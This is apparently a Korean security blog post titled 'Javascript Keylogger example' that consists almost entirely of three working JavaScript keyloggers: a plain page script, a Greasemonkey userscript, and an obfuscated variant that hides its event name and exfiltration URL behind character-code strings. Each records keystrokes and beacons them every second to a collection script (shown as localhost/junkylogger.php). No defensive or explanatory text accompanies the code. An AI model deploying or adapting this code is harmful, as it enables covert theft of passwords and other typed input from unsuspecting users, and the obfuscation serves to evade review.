본문 바로가기
정보보호 (Security)

Javascript Keylogger 예제

by 날으는물고기 2010. 9. 3.

Javascript Keylogger 예제

var keys='';
document.onkeypress = function(e) {
get = window.event?event:e;
key = get.keyCode?get.keyCode:get.charCode;
key = String.fromCharCode(key);
keys+=key;
}
window.setInterval(function(){
new Image().src = 'http://localhost/junkylogger.php?keys='+keys;
keys = '';
}, 1000);


GM_setValue('keys', '');
unsafeWindow.onkeypress = function(e) {
eventobj = window.event?event:e;
key = eventobj.keyCode?eventobj.keyCode:eventobj.charCode;
keys = GM_getValue('keys');
keys+= String.fromCharCode(key);
GM_setValue('keys', keys);
}

window.setInterval(function(){
new Image().src = 'http://localhost/junkylogger.php?keys='+GM_getValue('keys');
GM_setValue('keys', '');
}, 1000);


window.wrap = window;
wrap.strf = String.fromCharCode;
wrap.wind = strf(117,110,115,97,102,101,87,105,110,100,111,119);
wrap.ev   = strf(111, 110, 107, 101, 121, 112, 114, 101, 115, 115);
GM_setValue('q','');
Function('func', wind+"."+ev+" = func")(function(e) {
e=window.event?window.event:e;
k=e.charCode?e.charCode:e.keyCode;
k=GM_getValue('q')+strf(k);
GM_setValue('q', k);
});
wrap.loc = strf(104, 116, 116, 112, 58, 47, 47, 108, 111, 99, 97, 108, 104);
wrap.loc+= strf(111, 115, 116, 47, 106, 117, 110, 107, 121, 108, 111, 103, 103, 101);
wrap.loc+= strf(114, 46, 112, 104, 112, 63, 107, 101, 121, 115, 61);
window.setInterval(function(){new Image().src=wrap.loc+GM_getValue('q');GM_setValue('q','')},1000);
728x90

댓글